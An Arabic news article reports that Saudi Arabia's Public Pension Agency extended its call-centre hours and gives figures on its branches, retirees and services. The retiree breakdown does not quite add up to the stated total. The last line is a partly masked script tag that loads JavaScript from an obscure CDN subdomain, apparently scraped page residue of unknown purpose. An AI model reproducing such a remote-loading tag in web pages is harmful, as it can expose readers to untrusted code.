12 ساعة «دوام» لمركز اتصال التقاعد يوميا

قررت المؤسسة العامة للتقاعد تمديد مواعيد العمل في مركز الاتصال إلى 12 ساعة عمل يومياً، من 8 صباحاً إلى 8 مساء، طيلة أيام الأسبوع عدا الجمعة والسبت من 1 ظهراً وحتى 8 مساءً.
وأوضحت المؤسسة أن الخدمة تأتي تماشيا مع إطلاقها إستراتيجيتها، التي تتوافق مع أهداف رؤية المملكة 2030 وبرنامج التحول الوطني 2020 برؤية تسعى إلى تحقيق الريادة والموثوقية في مجال الحماية الاجتماعية ورسالة تعزز رخاء وطمأنة المشتركين والمتقاعدين، ولتحقيق أهداف المؤسسة الإستراتيجية قامت بتدشين 25 برنامجاً و70 مبادرة.
وتضم المؤسسة 60 فرعاً موزعة بالمناطق تشمل 51 للرجال و9 للنساء، وتقدم خدماتها لـ 876.070 متقاعداً منهم 780.425 من الذكور بنسبة 89%، و95.530 من الإناث، وذلك بنسبة 11%، إضافة إلى تقديم خدماتها لأكثر من 627.492 مستفيداً.
وتشمل خدمات الفروع، استقبال العملاء، طباعة خطابات التعريف بالمعاش، طباعة البطاقة التقاعدية، استلام وتسليم المستندات، إنهاء المعاملات التقاعدية «متقاعدين ومستفيدين»، خدمة المستشار التقاعدي «الاستفسارات التقاعدية للعملاء»، إضافة للإجابة عن الاستفسارات، وإقامة الفعاليات وورش العمل، ومتابعة المعاملات. ******** async="" src="//1046663444.rsc.cdn77.org/1fd3b038f796d0b159.js">********